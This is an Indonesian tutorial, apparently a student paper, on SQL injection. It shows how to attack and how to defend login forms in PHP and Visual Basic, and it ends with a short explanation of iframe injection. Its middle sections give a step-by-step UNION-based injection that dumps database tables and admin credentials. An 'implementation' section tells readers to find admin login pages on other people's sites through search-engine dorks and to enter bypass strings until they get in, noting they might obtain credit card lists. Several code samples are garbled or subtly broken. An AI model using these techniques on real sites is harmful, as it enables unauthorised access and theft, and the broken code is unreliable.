Anti SQL Injection Teknik sql injection adalah suatu teknik yang sering digunakan oleh para attacker. teknik ini memanfaatkan kelemahan perinyah SQL untuk melakukan hacking situs. Salah satu fasilitas yang sering dijadikan sasaran utama adalah pada menu login. Cara membuat anti sql injection pada menu login.1.
Membuat database Terlebih dahulu silahkan anda membuat database. Setelah anda selesai silahkan anda buka phpMyAdmin anda. kemudian buat sebuah database baru dan namakan 'tips1'.Setelah itu import data tabel yang baru anda download tadi pada data base 'tips1'.2. Kemudian silahkan anda buat file php. (anda bisa memakai notepad ++ ) Ketik program berikut kedalam file yang baru anda buat. Setelah selesai silahkan anda simpan dengan nama login.php. Program adalah sebagai berikut :
Halaman Login User :
Setelah itu silahkan anda buat lagi sebuah file php, dan beri nama proses.php.
mysql_select_db("tips1",$link);$query=sprintf("Select*fromanggotawhereusername='$usernam e' and password='$password'",mysql_real_escape_string($username), mysql_real_escape_string($password)); $hasil=mysql_query($query); $hasil_cek = mysql_num_rows($hasil); if ($hasil_cek==0){echo"Anda tidak dapat login"; }else {echo " Selamat datang pada situs < font color=\"#FF0000\"> WEB ANTI SQL INFECTION "; } ?>
Yang perlu di ketahui sebelum sql injection pada mysql: karakter: ' atau -comments: /* atau --information_schema untuk versi: mysql versi 5.x , tidak support untuk mysql versi 4.x
=step Satu:= carilah targetmisal: [site]/berita.php?id=100 Tambahkan karakter ' pada akhir url atau menambahkan karakter "-" untuk melihat apakah adapesan error.contoh: [site]/berita.php?id=100' atau[site]/berita.php?id=-100
Sehingga muncul pesan error seperti berikut (masih bnyak lagi):
=step Dua:= mencari dan menghitung jumlah table yang ada dalam databasenya...gunakan perintah : order by contoh: [site]/berita.php?id=-100+order+by+1-- atau[site]/berita.php?id=-100+order+by+1/* ceklah secara step by step (satupersatu)...misal: [site]/berita.php?id=-100+order+by+1--[site]/berita.php?id=-100+order+by+2-[site]/berita.php?id=-100+order+by+3--[site]/berita.php?id=-100+order+by+4-sehingga muncul error atau hilang pesan error...misal: [site]/berita.php?id=-100+order+by+9-berarti yang kita ambil adalah sampai angka 8menjadi [site]/berita.php?id=-100+order+by+8--
=step Tiga:= untuk mengeluarkan angka berapa yang muncul gunakan perintah unionkarena tadi error sampai angka 9 maka: [site]/berita.php?id=-100+union+select+1,2,3,4,5,6,7,8-ok seumpama yg keluar angka 5gunakan perintah version() atau @@version untuk mengecek versi sql yg diapakai masukanperintah tsb pada nagka yg keluar tadimisal : [site]/berita.php?id=-100+union+select+1,2,3,4,version(),6,7,8-- atau[site]/berita.php?id=100+union+select+1,2,3,4,@@version,6,7,8—
lihat versi yg digunakan seumpama versi 4 tinggalkan saja karena dalam ver 4 ini kita harus menebak sendiri table n column yg ada pada web tersebut karena tidak bisa menggunakanperintah From+Information_schema.. Untuk versi 5 berarti anda beruntung tak perlu menebak table n column seperti ver 4 karena diver 5 ini bisa menggunakan perintah From+Information_schema.
=step Empat:= Untuk menampilkan table yg ada pada web tsb adalahperintah table_name >>> dimasukan pada angka yg keluar tadiperintah +from+information_schema.tables/* >>> dimasukan setelah angka terakhir Code: [site]/berita.php?id=100+union+select+1,2,3,4,table_name,6,7,8+from+information_schema.t ables-seumpama table yang muncul adalah "admin"
=step Lima:= Untuk menampilkan semua isi dari table tsb adalahperintah group_concat(table_name) >>> dimasukan
pada
angka
yang
keluar
tadi
perintah
+from+information_schema.tables+where+table_schema=database() >>> dimasukan setelah angka terakhir [site]/berita.php?id=100+union+select+1,2,3,4,group_concat(table_name),6,7,8+from+inform ation_schema.tables+where+table_schema=database()—
= step Enam: = Perintah group_concat(column_name) >>> dimasukan pada angka yg keluar tadiperintah +from+information_schema.columns+where+table_name=0xhexa-- >>> dimasukan setelah angka terakhir [site]/berita.php?id=100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+infor mation_schema.columns+where+table_name=0xhexa-pada tahap ini kamu wajib mengextrak kata pada isi table menjadi hexadecimal yaitu dengancara mengkonversinyawebsite yg digunakan untuk konversi : http://www.v3n0m.net/ascii.htm contoh kata yg ingin di konversi yaitu admin maka akan menjadi 61646D696E [site]/berita.php?id=100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+infor mation_schema.columns+where+table_name=0x61646D696E—
=step Tujuh:= Memunculkan apa yg tadi telah dikeluarkan dari table yaitu dengan cara perintah concat_ws(0x3a,hasil isi column yg mau dikeluarkan) >>> dimasukan pada angka yg keluar tadiperintah +from+(nama table berasal) >>> dimasukan setelah angka terakhi rContoh : [site]/berita.php?id=100+union+select+1,2,3,4,concat_ws(0x3a,hasilisicolumn),6,7,8+from+(n ama table berasal)-contoh kata yang keluar adalah id,username,password Contoh : [site]/berita.php?id=100+union+select+1,2,3,4,concat_ws(0x3a,id,username,password),6,7,8+f rom+admin—
= step Delapan: Tahap terakhir mencari halam admin atau login . SCRIPT CODE LOGIN ANTI SQL INJECTION Untuk mengetahui secara mudah tentang dampak dari serangan ini, kita mengambilcontoh pada proses "LOGIN". Proses "LOGIN" adalah proses yang paling vital dalam setiapaplikasi yang ada. Karena dengan adanya proses ini, masing-masing user dapat ditentukanhaknya dalam mengakses suatu aplikasi. Contohnya pada aplikasi-aplikasi perkantoran, proses"LOGIN" sangat berguna untuk menentukan jabatan dan pekerjaan apa yang harus dilakukanseorang karyawan dalam aplikasi yang dibuat.Di sini saya membuat contoh aplikasi Visual Basic dengan Database Access. Untuk itu buatlah desain form seperti yang tampak pada gambar dibawah ini.
Biarkan Property Name pada masing-masing control apa adanya. Selanjutnya kita desainsebuah database sederhana. Buatlah database Microsoft Access dengan nama tabel "login" yang berisi kolom (field) "user" dan "password", lalu namakan databasenya "pegawai.mdb". Isikandengan beberapa record.Setelah semuanya selesai, pindah ke apliasi Visual Basic 6, tulislah code berikut pada
Form1. Code:: Private Sub Command1_Click() Data1.RecordSource = "SELECT * FROM LOGIN WHERE USER='" & Text1.Text & _"' AND PASSWORD='" & Text2.Text & "'" Data1.Refresh If Data1.Recordset.RecordCount > 0 Then MsgBox"Login Berhasil!" Else MsgBox"Login Salah!" End If End Sub Private Sub Form_Load() Data1.RecordSource = "SELECT * FROM LOGIN" Data1.Refresh End Sub Untuk melihat dampak dari serangan ini. Jalankan kembali aplikasi yang kita buat, dananggaplah Anda sebagai orang lain yang tidak mengetahui password untuk mengakses aplikasitersebut. Namun dengan sedikit SQL Injection anda dapat memasuki ruang login hanya denganmemasukkan teks berikut "hack' or '1'='1" (tanpa tanda kutip) pada textbox input user dan/ataupassword. Maka Anda tidak akan melihat pesan "Login Salah!" melainkan "Login Berhasil!".Ketika kita memasukkan user "meyer" dan password "tomero", maka query sql pada codediatas akan menjadi : Quote:
SELECT * FROM LOGIN WHERE USER='meyer' AND PASSWORD='tomero'" Karena SQL menggunakan kriteria berdasarkan user dan password tersebut, maka jikauser dan password tidak cocok dengan yang ada dalam tabel secara otomatis aplikasimemunculkan pesan "Login Salah!". Tapi, jika kita memasukkan teknik SQL Injection padaquery melalui input pada aplikasi misalkan user dan password "hack' or '1'='1", apa yang terjadipada query sebenarnya? Quote: "SELECT * FROM LOGIN WHERE USER='hack' or '1'='1' " & _ AND PASSWORD='hack' or '1'='1'"
Query SQL sudah berubah menjadi query yang tidak menampilkan filter terhadap userdan password. Itu dikarenakan pernyataan "OR 1=1" menyebabkan hasil execute query yangmenghasilkan nilai True. Mengapa True? Dalam logika matematika, False Or True atau True OrTrue menghasilkan nilai True.Selanjutnya kita akan membuat contoh sederhana prosedur untuk memfilter input yangdimasukkan oleh orang agar tidak bisa dicurangi dengan SQL Injection.Code:: Private Function FilterSQL (strInput As String) As StringstrInput = Replace (strInput, "'", "''", 1, -1, 1) strInput = Replace(strInput, "_xp", "", 1, -1, 1) strInput = Replace(strInput, "--", "", 1, -1, 1) strInput = Replace(strInput, ";", "", 1, -1, 1)FilterSQL = strInput End Function
Prosedur diatas akan mengubah semua karakter-karakter yang berdampak pada teknik SQL Injection ini. Untuk itu tambahkan prosedur tersebut dalam code sebelumnya dan gantilahquery SQL untuk proses filter user dan password seperti code berikut. Code:: Data1.RecordSource = "SELECT * FROM SISWA WHERE NAMA='"&FilterSQL(Text1.Text)& _"' AND ASAL='" & FilterSQL(Text2.Text) & "'" Data1.Refresh Agar lebih kebal dari SQL injection, scrip code untuk login dapat anda buat lebih spesifik yang mengquery tabel login/user. Isian text oleh user jika dieksekusi tidak mengakibatkan SQLinjection, karena proses validasi ada pada pencocokan isi tabel login/user. Berdasar kriteria filtertersebut kemudian cocokan recorset field USER dan PASSWORD nya. Jika cocok maka proseslogin dapat Anda terusan ke aplikasi berikutnya, jika tidak maka keluar.
Databse yg digunakan PBL.MDB berisi Tabel PUser dgn field UserName(text 20),Password(text 20).
Buatlag form spt diatas dan code program sbb: Option Explicit Dim cnPBL As ADODB.Connection Dim rsPuser As ADODB.Recordset ---------------Private Sub cmdExit_Click() End End Sub--------------------------Private Sub cmdOK_Click() On Error GoTo PP Dim coba As Integer Dim Uname As String Dim Pwd As String Dim SQL As String Uname = Trim(txtPuser.Text) Pwd = Trim(txtPassword.Text) SQL = "SELECT * FROM PUSER WHERE UserName=" & "'" & Uname & "' AND Password=" & "'" & Pwd & "'" rsPuser.Open SQL, cnPBL, adOpenKeyset, adLockOptimistic IfNot(txtPuser.Text=rsPuser!UserNameAndtxtPassword.Text=rsPuser!Password)ThentxtPuser. Text = ""txtPassword. Text = ""txtPuser.SetFocus MsgBox "USER NAME ATAU PASSWORD SALAH", vbCritical, "INFO" Exit Sub End If
If txtPuser.Text = "" Or txtPassword.Text = "" Then txtPuser.SetFocus Exit Sub End If frmLogin.Hide frmBarang.Show ' jika benar buka form aplikasi PP: Select Case Err.Number Case 3705rsPuser.Close Resume End Select End Sub Private Sub Form_Load() Set cnPBL = New ADODB.Connection Set rsPuser = New ADODB.Recordset cnPBL.Open "Provider=Microsoft.Jet.OLEDB.4.0;Data Source= " & App.Path& "\PBL.mdb;Persist Security Info=False" rsPuser.Open "SELECT * FROM Puser", cnPBL, adOpenKeyset, adLockOptimistic End Sub Private Sub txtPassword_KeyPress(KeyAscii As Integer) If KeyAscii = 13 Then cmdOK.SetFocus End If End Sub
Private Sub txtPuser_KeyPress(KeyAscii As Integer) If KeyAscii = 13 ThentxtPassword.SetFocus End If End Sub Program atau software seperti softice Contoh sintaks SQL InjectionContohsintak SQL dalam PHP1. 1. $SQL = “select * from login where username =‟ $username‟ and passw ord =„$password ‟ ”; ,{dari GET atau POST variable } 2. Isikan password dengan string‟ or ‟ ‟ = ‟ 3. Hasilnya maka SQL akan seperti ini : “select * from login where username =‟ $username‟ and password=‟ pass‟ or „=′”; ,{ dengan SQL ini hasil selection akan selalu TRUE } 4. Maka kita bisa inject sintax SQL (dalam hal ini OR) kedalam SQL Gambar contoh SQLInjection
Penanganan SQL Injection 1. Merubah script php Contoh script php semula : $query = "select id,name,email,password,type,block from user " . "where email = '$Email' and password = '$Password'"; $hasil = mySQL_query($query, $id_mySQL); while($row = mySQL_fetch_row($hasil)) { $Id = $row[0]; $name = $row[1]; $email = $row[2]; $password = $row[3];$type = $row[4];
$block = $row[5]; } if(strcmp($block, 'yes') == 0) { echo "<script>alert('Your account has been blocked'); document.location.href='index.php'; \n"; exit(); } else if (!empty($Id) && !empty($name) && !empty($email) && !empty($password)); Script diatas memungkinkan seseorang dapat login dengan menyisipkan perintah SQL kedalam form login.Ketika hacker menyisipkan karakter
‟ or ‟ ‟ = ‟ kedalam form email dan password maka akan terbentuk query sebagai berikut : Maka dilakukan perubahan script menjadi : $query = "select id,name,email,password,type,block from user"." where email = '$Email'"; $hasil = mySQL_query($query, $id_mySQL); while($row = mySQL_fetch_row($hasil)) { $Id = $row[0]; $name = $row[1];
$email = $row[2] ; $password = $row[3]; $type = $row[4]; $block = $row[5]; } if(strcmp($block, 'yes') == 0) { echo "<script>alert('Your account has been blocked'); document.location.href='index.php';
\n"; exit(); } $pass = md5($Password); else if ((strcmp($Email,$email) == 0) && strcmp($pass,$password) == 0))
2. Menggunakan MySQL_escape_stringMerubah string yang mengandung karakter „ menjadi \ ‟ misalSQL injec ‟ tion menjadi SQL injec \ ‟ tion.Contoh : $kar = “SQLinjec
‟ tion”;
$filter = mySQL_escape_string($kar);echo”Hasil filter : $filter”;
3. Pemfilteran karakter „ dengan memodifikasi php.iniModifikasi dilakukan dengan mengenablekan variabel magic_quotes pada php.inisehingga menyebabkan string maupun karakter „ diubah menjadi \ ‟ secara otomatisoleh php.ini
Implementasi SQL Injection 1. Masuk ke google atau browse yg lain. 2. Masukkan salah satu keyword berikut "/admin.asp" "/login.asp" "/logon.asp" "/adminlogin.asp" "/adminlogon.asp" "/admin_login.asp" "/admin_logon.asp" "/admin/admin.asp" "/admin/login.asp" "/admin/logon.asp" {anda bisa menambahi sendiri sesuai keinginan anda} 3. Bukalah salah satu link yang ditemukan oleh google, kemungkinan Anda akan menjumpaisebuah halaman login (user name danpassword). 4.
Masukkan kode berikut :User name : ` or `a'='a
Password : ` or `a'='a (termasuk tanda petiknya) 5.
Jika berhasil, kemungkinan Anda akan masuk ke admin panel, di mana Anda bisamenambahkan berita, mengedit user yang lain, merubah about, dan lain-lain. Jika beruntungAnda bisa mendapatkan daftar kredit card yang banyak.
6.
Jika tidak berhasil, cobalah mencari link yang lain yang ditemukan oleh google
7.
Banyak variasi kode yang mungkin, antara lain :User name : adminPassword : ` or `a'='aatau bisa dimasukkan ke dua–duanya misal :
„ or 0=0 -- ;“ or 0=0 -- ; or 0=0 -- ; „ or 0=0 # ;“ or 0=0 # ; „ or ‟ x‟ =‟ x ; “ or “x”=”x;„) or („x ‟ =‟ x
8.
Cobalah sampai berhasil hingga anda bisa masuk ke admin panel
Cara pencegahan SQL INJECTION
a. Batasi panjang input box (jika memungkinkan), dengan cara membatasinya di kode program, jadi si cracker pemula akan bingung sejenak melihat input box nya gak bisa diinject denganperintah yang panjang. b. Filter input yang dimasukkan oleh user, terutama penggunaan tanda kutip tunggal (InputValidation). c. Matikan atau sembunyikan pesan-pesan error yang keluar dari SQL Server yang berjalan. d. Matikan fasilitas-fasilitas standar seperti Stored Procedures, Extended Stored Procedures jikamemungkinkan e. Ubah "Startup and run SQL Server" menggunakan low privilege user di SQL Server Securitytab
Iframe Injection Iframe adalah sebuah kode pemograman html yangfungsinya menampilkan halaman website atau script yang dihosting di tempat lain agar tampil menyatu dengan halamanwebsite anda, seolaholah halaman atau script itu adalah bagiandari website anda.Injection adalah aktifitas menyisipkan kode ke dalam sebuahhalaman website anda tanpa seizin anda selaku pemilik dari website tersebut, Iframe Injectionadalah aktifitas menysipkan kode-kode html Iframe di website anda tanpa seizin anda selakupemilik website. Yang bikin repot adalah halaman atau script yang di sisipkan kedalam kodetersebut biasanya berisikan spyware, mal ware atau badware yang dapat merugikan website andadan juga pengunjung website anda.
Asal Iframe Injection
Biasanya secara tidak sadar anda mendownload sesuatu yang sudah terinfeksi olehbadware, dan badware yang terinstal di pc anda ini mencari password FTP anda danmelaporkannya ke pemilik, dan kemudian sebuah robot pemograman beroperasi secara otomatismenggunakan password yang di dapat itu untuk melakukan injection ke halaman website anda.Oleh karenanya meskipun anda menghapus kode-kode injection di website anda, aktifitasinjection ini tidak pernah berhenti sebelum anda menghapus badware dari computer anda.Biasanya jumlah halaman yang terinfeksi tidak tanggung-tanggung bisa diatas 50halaman website, meski taget utamanya adalah halam index website. Oleh karenya caramengatasinya adalah dengan terlebih dahulu menghapus badware yang terinstal secara tidak sengaja itu dari computer anda.